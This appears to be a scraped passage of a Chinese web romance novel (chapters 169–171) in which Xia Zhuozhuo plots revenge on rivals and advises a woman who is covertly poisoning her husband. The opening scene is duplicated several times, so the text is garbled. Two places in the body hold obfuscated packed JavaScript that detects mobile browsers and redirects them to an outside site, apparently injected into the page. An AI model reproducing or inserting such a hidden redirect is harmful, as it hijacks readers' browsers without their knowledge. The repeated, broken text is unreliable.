后来许菻兮**,夏灼灼关切问她情况怎么样的时候,顺走了许菻兮的手机。 她用许菻兮的手机给夏琉璃发消息。 说放火是她的主意,她要把夏灼灼污蔑为灾星,让夏琉璃待在房间里,不要乱走。 也是因为这样,着火之后,夏琉璃没有第一时间跑出来。 等发现不对想跑的时候,已经来不及了。 大火堵住了她的去路。 夏灼灼跟司慎行解释完后,道:“那位丁警官,如果可以的话,你能帮我给他一点奖励吗?” 丁警官虽然是方局的人,但是人就有私心。 她许诺给丁警官,按照她的计划行事,他会得到他想要的东西。 司慎行欣然答应。 “我会让他做我的人。” 这比什么钱,什么官位,都要值钱。 做司慎行的人,前途无量。 方局正是因为是司家的人,才走到了如今的位置。 夏灼灼点头道谢,随后从口袋里拿出一张卡,递给司慎行。 司慎行眼露疑惑。 “这是什么意思?要把我买下来?” “……” 夏灼灼没好气地白了他一眼。 她发现每当自己觉得司慎行很好的时候,他就会露出不要脸的一面。 “卡里有一千万,用来补偿酒店的损失。不知道够不够?不够的话……” “我不要你的钱。”司慎行把卡推回去。 夏灼灼说:“你还是收下吧,一码归一码,亲兄弟也要明算账。我不能白烧了你的酒店。” 司慎行扯了下嘴角,露出一个招摇的笑容。 “我说了,我不要你的钱。但你可以用这笔钱,给我买一件礼物,就算是补偿了。” 夏灼灼想了想,同意了。 “你想要什么礼物?” “你给我买什么,我就想要什么。” “……那我随便看着买了。” “你随便买的,我也喜欢。对了——”司慎行顿了顿,提醒她:“我喜欢黑色。” 夏灼灼上下看了他一眼,点头说:“看得出来。” 永远穿的一身黑。 司慎行干咳一声,说起夏怀武。 “我已经帮你问过那个女服务生了,是夏怀武找到许菻兮,让她收留夏琉璃。” 夏灼灼眸色沉下来。 “我知道。” 司慎行问:“你打算怎么处理他?” “处理?”夏灼灼笑了笑,说:“我再怎么反感他,他也是我妈生的。他要是出了事,我怕我妈扛不住。” 不是夏怀武对她重要,而是夏太太对她重要。 为了一个不重要的人,伤害了重要的人,这不是划算的买卖。 司慎行说:“我有个想法。” 后来许菻兮**,夏灼灼关切问她情况怎么样的时候,顺走了许菻兮的手机。 她用许菻兮的手机给夏琉璃发消息。 说放火是她的主意,她要把夏灼灼污蔑为灾星,让夏琉璃待在房间里,不要乱走。 也是因为这样,着火之后,夏琉璃没有第一时间跑出来。 等发现不对想跑的时候,已经来不及了。 大火堵住了她的去路。 夏灼灼跟司慎行解释完后,道:“那位丁警官,如果可以的话,你能帮我给他一点奖励吗?” 丁警官虽然是方局的人,但是人就有私心。 她许诺给丁警官,按照她的计划行事,他会得到他想要的东西。 司慎行欣然答应。 “我会让他做我的人。” 这比什么钱,什么官位,都要值钱。 做司慎行的人,前途无量。 方局正是因为是司家的人,才走到了如今的位置。 夏灼灼点头道谢,随后从口袋里拿出一张卡,递给司慎行。 司慎行眼露疑惑。 “这是什么意思?要把我买下来?” “……” 夏灼灼没好气地白了他一眼。 她发现每当自己觉得司慎行很好的时候,他就会露出不要脸的一面。 “卡里有一千万,用来补偿酒店的损失。不知道够不够?不够的话……” “我不要你的钱。”司慎行把卡推回去。 夏灼灼说:“你还是收下吧,一码归一码,亲兄弟也要明算账。我不能白烧了你的酒店。” 司慎行扯了下嘴角,露出一个招摇的笑容。 “我说了,我不要你的钱。但你可以用这笔钱,给我买一件礼物,就算是补偿了。” 夏灼灼想了想,同意了。 “你想要什么礼物?” “你给我买什么,我就想要什么。” “……那我随便看着买了。” “你随便买的,我也喜欢。对了——”司慎行顿了顿,提醒她:“我喜欢黑色。” 夏灼灼上下看了他一眼,点头说:“看得出来。” 永远穿的一身黑。 司慎行干咳一声,说起夏怀武。 “我已经帮你问过那个女服务生了,是夏怀武找到许菻兮,让她收留夏琉璃。” 夏灼灼眸色沉下来。 “我知道。” 司慎行问:“你打算怎么处理他?” “处理?”夏灼灼笑了笑,说:“我再怎么反感他,他也是我妈生的。他要是出了事,我怕我妈扛不住。” 不是夏怀武对她重要,而是夏太太对她重要。 为了一个不重要的人,伤害了重要的人,这不是划算的买卖。 司慎行说:“我有个想法。” 后来许菻兮**,夏灼灼关切问她情况怎么样的时候,顺走了许菻兮的手机。 她用许菻兮的手机给夏琉璃发消息。 说放火是她的主意,她要把夏灼灼污蔑为灾星,让夏琉璃待在房间里,不要乱走。 也是因为这样,着火之后,夏琉璃没有第一时间跑出来。 等发现不对想跑的时候,已经来不及了。 大火堵住了她的去路。 夏灼灼跟司慎行解释完后,道:“那位丁警官,如果可以的话,你能帮我给他一点奖励吗?” 丁警官虽然是方局的人,但是人就有私心。 她许诺给丁警官,按照她的计划行事,他会得到他想要的东西。 司慎行欣然答应。 “我会让他做我的人。” 这比什么钱,什么官位,都要值钱。 做司慎行的人,前途无量。 方局正是因为是司家的人,才走到了如今的位置。 夏灼灼点头道谢,随后从口袋里拿出一张卡,递给司慎行。 司慎行眼露疑惑。 “这是什么意思?要把我买下来?” “……” 夏灼灼没好气地白了他一眼。 她发现每当自己觉得司慎行很好的时候,他就会露出不要脸的一面。 “卡里有一千万,用来补偿酒店的损失。不知道够不够?不够的话……” “我不要你的钱。”司慎行把卡推回去。 夏灼灼说:“你还是收下吧,一码归一码,亲兄弟也要明算账。我不能白烧了你的酒店。” 司慎行扯了下嘴角,露出一个招摇的笑容。 “我说了,我不要你的钱。但你可以用这笔钱,给我买一件礼物,就算是补偿了。” 夏灼灼想了想,同意了。 “你想要什么礼物?” “你给我买什么,我就想要什么。” “……那我随便看着买了。” “你随便买的,我也喜欢。对了——”司慎行顿了顿,提醒她:“我喜欢黑色。” 夏灼灼上下看了他一眼,点头说:“看得出来。” 永远穿的一身黑。 司慎行干咳一声,说起夏怀武。 “我已经帮你问过那个女服务生了,是夏怀武找到许菻兮,让她收留夏琉璃。” 夏灼灼眸色沉下来。 “我知道。” 司慎行问:“你打算怎么处理他?” “处理?”夏灼灼笑了笑,说:“我再怎么反感他,他也是我妈生的。他要是出了事,我怕我妈扛不住。” 不是夏怀武对她重要,而是夏太太对她重要。 为了一个不重要的人,伤害了重要的人,这不是划算的买卖。 司慎行说:“我有个想法。” 后来许菻兮**,夏灼灼关切问她情况怎么样的时候,顺走了许菻兮的手机。 她用许菻兮的手机给夏琉璃发消息。 说放火是她的主意,她要把夏灼灼污蔑为灾星,让夏琉璃待在房间里,不要乱走。 也是因为这样,着 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夏灼灼说:“你还是收下吧,一码归一码,亲兄弟也要明算账。我不能白烧了你的酒店。” 司慎行扯了下嘴角,露出一个招摇的笑容。 “我说了,我不要你的钱。但你可以用这笔钱,给我买一件礼物,就算是补偿了。” 夏灼灼想了想,同意了。 “你想要什么礼物?” “你给我买什么,我就想要什么。” “……那我随便看着买了。” “你随便买的,我也喜欢。对了——”司慎行顿了顿,提醒她:“我喜欢黑色。” 夏灼灼上下看了他一眼,点头说:“看得出来。” 永远穿的一身黑。 司慎行干咳一声,说起夏怀武。 “我已经帮你问过那个女服务生了,是夏怀武找到许菻兮,让她收留夏琉璃。” 夏灼灼眸色沉下来。 “我知道。” 司慎行问:“你打算怎么处理他?” “处理?”夏灼灼笑了笑,说:“我再怎么反感他,他也是我妈生的。他要是出了事,我怕我妈扛不住。” 不是夏怀武对她重要,而是夏太太对她重要。 为了一个不重要的人,伤害了重要的人,这不是划算的买卖。 司慎行说:“我有个想法。” 后来许菻兮**,夏灼灼关切问她情况怎么样的时候,顺走了许菻兮的手机。 她用许菻兮的手机给夏琉璃发消息。 说放火是她的主意,她要把夏灼灼污蔑为灾星,让夏琉璃待在房间里,不要乱走。 也是因为这样,着火之后,夏琉璃没有第一时间跑出来。 等发现不对想跑的时候,已经来不及了。 大火堵住了她的去路。 夏灼灼跟司慎行解释完后,道:“那位丁警官,如果可以的话,你能帮我给他一点奖励吗?” 丁警官虽然是方局的人,但是人就有私心。 她许诺给丁警官,按照她的计划行事,他会得到他想要的东西。 司慎行欣然答应。 “我会让他做我的人。” 这比什么钱,什么官位,都要值钱。 做司慎行的人,前途无量。 方局正是因为是司家的人,才走到了如今的位置。 夏灼灼点头道谢,随后从口袋里拿出一张卡,递给司慎行。 司慎行眼露疑惑。 “这是什么意思?要把我买下来?” “……” 夏灼灼没好气地白了他一眼。 她发现每当自己觉得司慎行很好的时候,他就会露出不要脸的一面。 “卡里有一千万,用来补偿酒店的损失。不知道够不够?不够的话……” “我不要你的钱。”司慎行把卡推回去。 夏灼灼说:“你还是收下吧,一码归一码,亲兄弟也要明算账。我不能白烧了你的酒店。” 司慎行扯了下嘴角,露出一个招摇的笑容。 “我说了,我不要你的钱。但你可以用这笔钱,给我买一件礼物,就算是补偿了。” 夏灼灼想了想,同意了。 “你想要什么礼物?” “你给我买什么,我就想要什么。” “……那我随便看着买了。” “你随便买的,我也喜欢。对了——”司慎行顿了顿,提醒她:“我喜欢黑色。” 夏灼灼上下看了他一眼,点头说:“看得出来。” 永远穿的一身黑。 司慎行干咳一声,说起夏怀武。 “我已经帮你问过那个女服务生了,是夏怀武找到许菻兮,让她收留夏琉璃。” 夏灼灼眸色沉下来。 “我知道。” 司慎行问:“你打算怎么处理他?” “处理?”夏灼灼笑了笑,说:“我再怎么反感他,他也是我妈生的。他要是出了事,我怕我妈扛不住。” 不是夏怀武对她重要,而是夏太太对她重要。 为了一个不重要的人,伤害了重要的人,这不是划算的买卖。 司慎行说:“我有个想法。” 后来许菻兮**,夏灼灼关切问她情况怎么样的时候,顺走了许菻兮的手机。 她用许菻兮的手机给夏琉璃发消息。 说放火是她的主意,她要把夏灼灼污蔑为灾星,让夏琉璃待在房间里,不要乱走。 也是因为这样,着火之后,夏琉璃没有第一时间跑出来。 等发现不对想跑的时候,已经来不及了。 大火堵住了她的去路。 夏灼灼跟司慎行解释完后,道:“那位丁警官,如果可以的话,你能帮我给他一点奖励吗?” 丁警官虽然是方局的人,但是人就有私心。 她许诺给丁警官,按照她的计划行事,他会得到他想要的东西。 司慎行欣然答应。 “我会让他做我的人。” 这比什么钱,什么官位,都要值钱。 做司慎行的人,前途无量。 方局正是因为是司家的人,才走到了如今的位置。 夏灼灼点头道谢,随后从口袋里拿出一张卡,递给司慎行。 司慎行眼露疑惑。 “这是什么意思?要把我买下来?” “……” 夏灼灼没好气地白了他一眼。 她发现每当自己觉得司慎行很好的时候,他就会露出不要脸的一面。 “卡里有一千万,用来补偿酒店的损失。不知道够不够?不够的话……” “我不要你的钱。”司慎行把卡推回去。 夏灼灼说:“你还是收下吧,一码归一码,亲兄弟也要明算账。我不能白烧了你的酒店。” 司慎行扯了下嘴角,露出一个招摇的笑容。 “我说了,我不要你的钱。但你可以用这笔钱,给我买一件礼物,就算是补偿了。” 夏灼灼想了想,同意了。 “你想要什么礼物?” “你给我买什么,我就想要什么。” “……那我随便看着买了。” “你随便买的,我也喜欢。对了——”司慎行顿了顿,提醒她:“我喜欢黑色。” 夏灼灼上下看了他一眼,点头说:“看得出来。” 永远穿的一身黑。 司慎行干咳一声,说起夏怀武。 “我已经帮你问过那个女服务生了,是夏怀武找到许菻兮,让她收留夏琉璃。” 夏灼灼眸色沉下来。 “我知道。” 司慎行问:“你打算怎么处理他?” “处理?”夏灼灼笑了笑,说:“我再怎么反感他,他也是我妈生的。他要是出了事,我怕我妈扛不住。” 不是夏怀武对她重要,而是夏太太对她重要。 为了一个不重要的人,伤害了重要的人,这不是划算的买卖。 司慎行说:“我有个想法。” 第169章 忍不住想亲你 夏灼灼看向他。 “什么想法? 司慎行道:“我在海外,有一个很重要海岛项目。但那里比国内的情况还要复杂,多个势力盘踞,我的海岛项目一直不能开始动工。 夏灼灼猜到了他的意思。 “你想让他去海外帮你? 司慎行点头:“成了,他就是海岛项目负责人,那边的势力,全归他管。如果不成,估计就回不来了。 夏灼灼仔细想了下,觉得这事可行。 “我回去问问他。 “好。 正说着,季恒过来了。 “人都走了,咱们接下来什么打算? “吃个午饭?司慎行看向夏灼灼,询问她的意思。 夏灼灼没拒绝,说:“今天我请客,地方由你们来挑。 季恒今天也帮了她很大的忙,她理应请客。 “那就去四季阁吧。司慎行说:“离这里不太远,半小时就能到。 去市区,起码得一个半小时。 但最近的一家四季阁餐厅在机场附近,距离这里很近。 夏灼灼正要点头,就听季恒抱怨:“好啊,还没结婚呢,就开始心疼起嫂子的钱包来了? 夏灼灼不明所以。 就听季恒说:“四季阁是我家开的连锁餐厅。 夏灼灼明白过来。 说好的她请客,但如果去四季阁吃,肯定就不用她掏钱了。 “那换个地方?夏灼灼问。 季恒笑了笑,说:“嫂子,我开玩笑的,怎么能真让你请客?今天这顿,我来了。 夏灼灼纠正他:“我不是你嫂子…… 季恒却像是没听到一样,拿出手机给四季阁打电话。 四季阁,店如其名。 做的是四季的菜。 “春夏秋冬,嫂子,你选一个。季恒说。 路上季恒已经喊了不知道几个嫂子了,夏灼灼纠正他都纠正累了,索性不管他。 “夏吧。她名字里就有个夏字。 “做夏菜。季恒吩咐服务生。 “是。 没多久,菜上来了。 这会儿已经入秋,桌子上却都是夏季的时新蔬菜,还是非常鲜嫩的那种,不是冷藏保存的。 肉菜却不多,只有两道,还是用蔬菜炒的。 城里人,吃惯了大鱼大肉,就爱吃点新鲜果蔬。 因而来四季阁的,也都是非富即贵的。 普通人不是吃不起而是不会花几百块冤枉钱来吃一道酸辣苦瓜丝。 夏灼灼以此类推:“选春是不是上的只有春天产的蔬菜。” 季恒打了个响指:“嫂子聪明!” 夏灼灼干干笑了一声。 这也算不上有多聪明吧…… 不过季恒这人说话是挺中听的。 司慎行看夏灼灼对着季恒笑面无表情地说:“四季阁餐厅是他的点子专做各季的蔬菜。比起四季阁我觉得叫和尚阁更合适。” 夏灼灼忍俊不禁。 她夹了一口苦瓜丝没有任何苦涩酸中带辣很爽口。 “做得很不错。” “那嫂子多吃点。” 吃到一半夏灼灼中途去上洗手间。 他们在二楼包厢洗手间只有楼下有。 夏灼灼却在上完洗手间出来的时候迎面遇上了一个熟人。 “甄太太?” “神医小姐……” 两个人对视上眼底都有惊讶。 这位甄太太不是别人 “我正要找你!”甄凝很惊喜地拉住她的手说:“京都那边我联系不上你。但咱们最后一次见面你说过你要回沪城这边的老家所以我就找了过来想碰碰运气看能不能遇到你。没想到刚到没两天就碰到你了!” 夏灼灼跟甄凝联系都是通过暗部的论坛。 现在暗部“灭亡”论坛自然也停了。 “方便借一步说话吗?”甄凝问。 夏灼灼点头。 两人进了一楼的空包厢。 “你找我有什么事吗?”夏灼灼问:“是我给你的药没起作用?” 甄凝咬住唇说:“不是没起作用是起作用太快他意识到了。这段时间他不吃任何人送的东西只自己做吃的而且也在看医生……” 夏灼灼蹙眉:“不应该啊按照我给你的药起码一年后才会有明显的感觉。” 甄凝红了眼睛说:“我太希望他**所以我每次都下双倍的药。” 夏灼灼:“……这是欲速则不达。达不到目的就算了还容易害死你自己。” 甄凝眼眶更红。 “可是我真的受不了……他竟然已经让那个男的住进来了!” 夏灼灼表情有些尴尬。 她也经历过被劈腿但是没经历过男小三。 “所以你现在要怎 么样呢?” “我也不知道……” 夏灼灼沉默一阵,问:“你听说过社会性死亡吗?” “我听过。” “或许,公布季远的癖好,比杀了他更让他痛苦,你觉得呢?” “不可能的,没有一家媒体敢曝光他。就算我把所有证据都发到网上,不出一个小时时间,这些证据都会消失。” 那可是从上个政权就是财阀的季家。 夏灼灼微微一笑,说:“你或许曝光不了他,但我可以。别忘了,你是怎么联系上我的。” “你是暗部的人……可暗部不是已经……” “这些你不用管,你只要搜集好证据,然后发到我的邮箱。” 甄凝沉默一阵,问她:“只是这么做,会不会太便宜他了?” “你放心,华夏民风没这么开放,尤其是豪门子弟。季远的事情被曝光,影响会比想象中还要大得多。” 甄凝咬了咬牙,下一瞬突然朝夏灼灼跪了下去。 “神医小姐!谢谢你!我和我死去的儿子给你磕头了!” 那个被害死的胎儿已经成型,所以能分得清男女。 可季远甚至不肯出安葬费,说什么还没生出来的,就不算是人,不用办葬礼。 最后还是甄凝让娘家人把孩子安葬的。 她对季远和那个狗男人,恨之入骨。 所以才会不听夏灼灼的,下双倍剂量的药。 仇恨,让她失去了理智。 但现在她不会了,她会全部按照夏灼灼说的来。 她对着夏灼灼跪下,用力磕头。 夏灼灼连忙扶起她。 “你不用跟我道谢,我这么做,也是为了还另一个人的人情。” “谁?” 夏灼灼还是那句话:“这些你不用管。早点回去吧,别让你老公起疑心。剩余的药,记得全部销毁,不要留痕迹。” “好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272117|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 甄凝没有再废话,离开四季阁之后,直接就去了机场。 而夏灼灼也回到了楼上。 她要还的人情,就是季恒的人情。 季远作为季家未来继承人,处处打压季恒。 这点,从开始吃饭之后,季恒跟司慎行的谈话中她就听出来了。 既然季恒想要除掉季远,那么,她就帮他一把。 就当还今天季恒帮助她和丁警官的人情了。 而且帮了季恒这一次,以后让季家也站在党系这边就更容易了。 可以说是一箭三雕。 …… 吃完饭,司慎行亲自送她回家。 “这两天许家或许会找上门,如果他真不怕死地来找你,你就打我电话。” 夏灼灼点头。 随即佯装无异地问起季恒的情况。 “他跟他哥哥关系不好吗?” 司慎行有些吃味。 “你好像很关注那小子。” 夏灼灼看他一眼:“你吃醋了?” 司慎行丝毫不掩饰自己的吃醋。 “我不能吃醋吗?” “不能。” “……” “你别忘了,你只是在考察期,我们还没在一起呢。我现在可以跟任何一个男人自由来往。” 司慎行的脸色更黑了一点。 车速,也更快了一点。 夏灼灼怕他带着情绪开车会有危险,只好妥协。 “我开玩笑的,我对季恒没有任何意思,只是很感激他今天帮了我,没别的多余的意思。” 司慎行下颚线不见放松。 “我也帮过你,不止一次。” “行,你是我的大恩人。” 司慎行挑了下眉,这才高兴了。 夏灼灼却觉得有些不对劲。 是司慎行在追她,又不是她在追司慎行,她哄他干什么? 正要说话,司慎行已经开始回答她一开始的问题了。 “他跟他哥也不算上关系不好。” 夏灼灼心里一个咯噔。 难道她帮甄凝帮错了? 下一秒,只听司慎行继续说道:“只不过是……每次季恒瞒着家里做了一些错事,季远的父母不知道怎么的,立刻就会知道。而他们惩罚季恒的时候,季远就会站出来为季恒说话。季董事长是气头上来不允许任何人阻拦的人,所以季远每劝一句,季董事长就会打季恒打得更狠。” “……” “而每次季远做错事,都会甩锅到季恒的身上。长此以往,季董事长夫妇都以为,季恒是个不学无术的废物,就不再认真栽培他了。” 夏灼灼气得攥紧手心。 “季董事长夫妇是睁眼瞎吗?” 司慎行淡淡道:“试问一个从来不出错,并且品学兼优的大儿子,和另一个经常犯错、成绩垫底的小儿子,你更相信谁说的话?” “真是个心机男!” “可不是吗?遇到我之前,季恒自己都没意识到,他父母对他的不喜,全都来自于处处袒护他的大哥。” 夏灼灼眉头紧锁。 但想到自己让甄凝做的事后,眉头又舒展开了,还露出了一点笑容。 司慎行的余光瞥见了。 他说:“不要笑。” “?”夏灼灼不解。 “你笑起来太好看了,我会忍不住想亲你。” 第170章 半路被丢下 ——你笑起来太好看了,我会忍不住想亲你。 这话一点也不假,他说的是大实话。 夏灼灼的脸又热起来了。 但她的表情仍然绷着,在下一秒突然解开安全带。 “停车。” 司慎行吃了一惊,看向她:“怎么了?” “满脑子都是邪念的人不适合开车,你下车,我来开。” 司慎行忙正色:“我会好好开车……” 夏灼灼还是那句:“下车,我开车。” 司慎行见她不是开玩笑,只好打方向,靠边停车。 然而他刚一下车,夏灼灼已经从副驾直接挪到主驾驶,车子在下一秒扬长而去,留司慎行一个人风中凌乱。 被女人丢到半路,这还真是生平第一次。 一向矜贵骄傲的司先生,被丢在路边的身影稍显狼狈。 但司慎行很快反应过来,夏灼灼是害羞了。 她很喜欢隐藏自己的情绪,越是害羞,越喜欢装正经。 司慎行倏地笑了。 他的灼灼,真是好可爱。 阿麦来接司慎行的时候,就看到司慎行笑得跟不要钱似的。 他一头雾水。 大白天的……活见鬼了? 但他不敢多问,少爷不对劲,多半跟夏小姐有关。 他把司慎行请上车,问:“少爷,我们去哪儿?” “许家。” 正如他之前说的,他喜欢给夏灼灼收拾烂摊子。 许家那边,他替她解决。 许董事长不是只有许菻兮一个女儿,**一个,虽然心痛,但也不至于万念俱灰。 只要适当给予一些“关怀”,这件事就这么过去了。 毕竟,许菻兮的死,不管是从明里还是暗里,都是她自己造成的,怪不了任何人。 “是。”阿麦应声,往许家开去。 另一边,夏灼灼开着司慎行的车,一路飞驰。 她脸上的热度被风一吹,才慢慢散了。 但她并没有直接回家,而是去了暗部。 上次去了杜家公馆见了云老爷子之后,她有从云老爷子身上抽过一管血。 这一管血她已经拿到暗部,让人帮忙化验。 算一算,现在应该出结果了。 果然,秋雨告诉她:“里面有一种毒素,跟咱们暗部研制的‘碎魂散’很像。我跟手底下的人仔细分辨之后,发现是在碎魂散里,还添加了微量的朱砂。” 夏 灼灼眸光微沉。 “碎魂散已经是致命的**,还在里面加朱砂,这是要确保**之人必死无疑啊。 秋雨也很好奇。 “云老爷子已经退休快十多年了,什么人非得要他的命? 夏灼灼叫来谷仔。 “你查一下,最近一年内都有什么人来订购过碎魂散。查清楚之后,立刻报告给我。 碎魂散的有效期,只有一年。 “是!谷仔应声。 夏灼灼又让秋雨去九珍堂,跟落九针一起配制解药。 夏家的器材有限,而秋雨,不仅向她学习厨艺,也学习药理。 她跟落九针一起配制解药,最多两天就能配好。 临走之前,谷仔又跟她报告了一件事情。 “您让我们继续监听窦家,我刚得到的消息,窦斯礼在监狱里给窦部长打了电话,抱怨日子变得不好过了,窦家那边,应该很快就会让窦斯礼出来。 夏灼灼点头。 “冯昭阳的动作还挺快。 她才刚拜托他整顿监狱,窦斯礼就扛不住了。 不过这也是意料之中。 一直把监狱当酒店的窦斯礼,突然过上了跟普通囚犯一样的生活,哪怕是一天都忍不了。 但这件事,她须得跟夏怀呈说一下。 免得夏怀呈知道窦斯礼要出来了,冲动之下又做出什么事来。 所以离开暗部之后,夏灼灼又驱车去了夏怀呈工作的地方。 他们租了一个小办公楼,环境很简陋。 不像办公区,更像是工地。 夏灼灼在一个办公室里找到他,避开其他人之后,跟他提起了窦斯礼的事。 夏怀呈满脸惊愕。 “小七,你是怎么知道这件事的?我、我没告诉过家里任何人。 大家都只以为,他们是分手了。 不知道他的女朋友已经**。 还是被窦斯礼反复用车子碾死的。 夏灼灼却没直接回答,而是反问夏怀呈。 “二哥,你不觉得奇怪吗?你明明是个经商奇才,大学的时候就拿过创业大赛的冠军,可毕业之后,却一而再再而三地做生意失败。 夏怀呈下意识想说自己运气不好。 可这个节骨眼上,夏灼灼突然提起这个…… 他眉心一皱,问:“是窦家在背后搞鬼? “没错。我帮你查过了,每次你的生意出问题,虽然都是由不同的人造成的,但 这些人无一例外全都是窦部长的人。” 夏怀呈握着钢笔的手一阵发紧恨不得用钢笔戳穿窦斯礼的心脏。 他一直以为是他命不好没想到是人为导致的。 “二哥。” 夏灼灼握住夏怀呈的手把他手里的钢笔拿了出来。 “那天台风天我去了趟你女朋友家请他们写了谅解书。窦斯礼应该很快就能出来了。” 夏怀呈的脸色倏然阴沉下来。 “小七你……我知道你是为了我的前途着想可那个**犯……我宁愿一辈子不做生意了 “可如果我说这不是为了你一个人而是为了夏家以及更多的人呢?” 夏怀呈不解地看向她。 夏灼灼简单说明了夏家和党家的关系。 “党窦两家斗争已久我们不能因为个人情感破坏爸妈的计划。” 夏怀呈瞪大了眼。 “计划?你的意思是……爸是故意进去的?” “没错。” 夏怀呈陷入了长久的沉默。 夏灼灼再次开口:“二哥你相信我窦斯礼从里面出来不会得意太久的。你可能还不知道他在监狱里面每天锦衣玉食过得不比在外面的时候差。” 夏怀呈攥紧手心。 “怎么会这样……” “事实就是这样他在里面虽然不能出来但是每天都能玩最新款的游戏。想吃什么立刻就有人会送进去……” 夏怀呈的眼神更冷。 “那个混蛋!他害**人怎么还能过得这么舒服?!” “所以啊不能让他继续舒服下去了。让他出来他的下场会比在里面的时候惨一万倍。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272118|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏怀呈深深看向她。 “小七他出来之后如果有什么是我能帮上忙的请你一定要开口。” 夏灼灼知道夏怀呈这是同意了。 她莞尔一笑。 “放心需要你帮忙的时候我不会客气的。” 兄妹两个又聊了好久。 夏怀呈惊讶地发现他到今天才算真正认识自己的亲妹妹。 他……自愧不如。 但他突然想起一件事。 “小七我问你……那位突然出现投资了我这个项目的元总也是你的人吗?” 夏灼灼点头:“没错。” “那……项目进行到一半出现问题最后又突然被解决了也是因为你?” 夏灼灼再次点头。 夏怀呈更加羞愧。 “怪不得小六叫你妹姐,或许我也应该这么叫。” 夏灼灼笑了两声。 “他不正经,二哥也不正经吗?咱们是一家人,互帮互助,是应该的。” “可我并没有帮到你什么……” “你们对我的好和信任,就是帮了我。我以前一直以为自己在这个世界上没有亲人了,是你们让我体会到了亲情。” 夏怀呈紧了紧手心,说:“你来找我,是怕我因为个人情感破坏你的计划。你现在可以放心,我不会破坏你的计划,这点理智我还是有的。” 夏灼灼点头,没再多停留,回家去了。 而夏怀呈则是继续留在公司。 小七为他争取到的机会,他要牢牢握住,才不算辜负她。 …… 夏灼灼回去的路上,夏怀武打过来三个电话,夏灼灼都没有接。 打到第四个的时候,夏灼灼直接把手机关机了。 她今天的心情其实挺不错的。 她今天办成了很多事。 许菻兮**,夏琉璃毁了容又被抓,加上云老爷子中什么毒也已经查清,二哥也信任她。 直到夏怀武的三个字出现在手机屏幕上,好心情突然就没了。 内心很烦躁,车子也开得很快。 路过一个红绿灯,夏灼灼不小心闯了红灯。 偏偏有交警在执勤。 她忙停下车,等着对方追上来罚她。 却没想到,交警跟没看到似的。 夏灼灼很快反应过来,她开的是司慎行的车。 对方不会来查司家的车。 她松了一口气的同时,也很羡慕司慎行。 暗部的能力也很强,人脉也很广,但司慎行可以站在阳光下,暗部却不能。 她慢慢握紧方向盘,坚定了自己要帮助党家的心。 京都大人物很多,但只有党家,是认可暗部的存在的。 也只有党家,能让暗部来到阳光下。 暗部很多人都是可怜人,包括谷仔。 他们有能力,也有志向,不该一辈子躲在阴影里。 接下来的路,夏灼灼开得很小心,没有再闯过红灯。 到底是司慎行的车,还是别给他惹太多麻烦了。 她今天已经给司慎行惹了不少的麻烦。 不多时,车子开进了夏家的门。 这时候天已经黑了下来,一下车,夏怀武就走了过来。 夏灼灼有点累,不想应对他。 “有什么话,明天再说吧。” 第171章 疯癫真面目 夏怀武这个人是典型的一根筋,不把证据摆在他眼前,他是不会信她的。 所以,索性明天再把事情讲清楚。 只是夏灼灼本以为夏怀武会继续纠缠,可他竟然只是点了点头,就转身上楼了。 夏灼灼有些意外夏怀武这么听话。 沙发上的夏太太也很奇怪。 “他从三点多就在等你了,怎么现在见了你反而什么都不说就上去了? 夏灼灼耸了下肩,表示自己也不知道。 几个哥哥里,除了没见过的四哥之外,夏灼灼跟夏怀武是最不熟悉的。 她也猜不到他在想什么。 不过不继续纠缠是好事,她可以稍稍松口气了。 太久没骑马,她现在浑身酸痛,得好好休息一下。 吃了晚饭,夏灼灼就去躺着了。 一觉睡醒,已经是晚上九点。 夏灼灼去了夏怀征的房间,为他施针。 最难熬的那几天,夏怀征已经熬过去了,接下来的几天,虽然也会有不适,但比起两天已经是轻松很多了。 夏灼灼难得不用熬夜,早早回到房间继续补觉。 转眼到了第二天,夏灼灼下楼吃早饭的时候,看到夏怀武已经等在那里了。 他没说话,但那双浓黑的眼睛欲言又止。 夏灼灼打破沉默:“吃完早饭,我带你去个地方。 夏怀武像是稍微放下了心上的一颗石头,跟着夏灼灼来到餐桌边吃饭。 今天的早餐是正常的,没有什么太补的东西。 一问许姨才知道,夏太太出门去了。 “去哪儿了?夏灼灼问。 许姨说不知道。 “但是太太让我转告您,是去见一个老朋友,让您不用担心。 夏灼灼点头,已经猜到了夏太太要去见谁。 应该是党家的人。 这阵子因为她的到来,夏家出现了不少变化,夏太太是得跟党家说一声。 夏灼灼对党家的印象一直挺好的,因而也放心。 就在这时,夏六也下楼了。 夏灼灼看他一身花里胡哨的常服,询问道:“今天不用上班? 夏怀瑾在她旁边一屁股坐下。 “妹姐,你不用上班,所以都没注意到今天是周末。 夏灼灼扯唇一笑。 “怪不得呢,大忙人不忙了,我还真有点不习惯。 “那你要是舍不得我,我以后居家办公。 “那倒也不必……” “怎么?你嫌我吵?我好伤心嘤嘤嘤……” 夏灼灼飞了个白眼过去。 夏怀武望着打打闹闹的两个人内心复杂地低下了头去。 原本……他也可以的。 是他自己做错了事。 夏灼灼像是没感觉到夏怀武的情绪低落吃完早餐之后叫上夏六一块出门。 夏怀武看她一眼问:“我们要去哪里?小六也一块去吗?” 夏灼灼说:“去一个能回答你想问的问题的地方。” 又补充道:“六哥也知道大概内情所以带上他一起。” 夏怀武点头不敢再多说什么了。 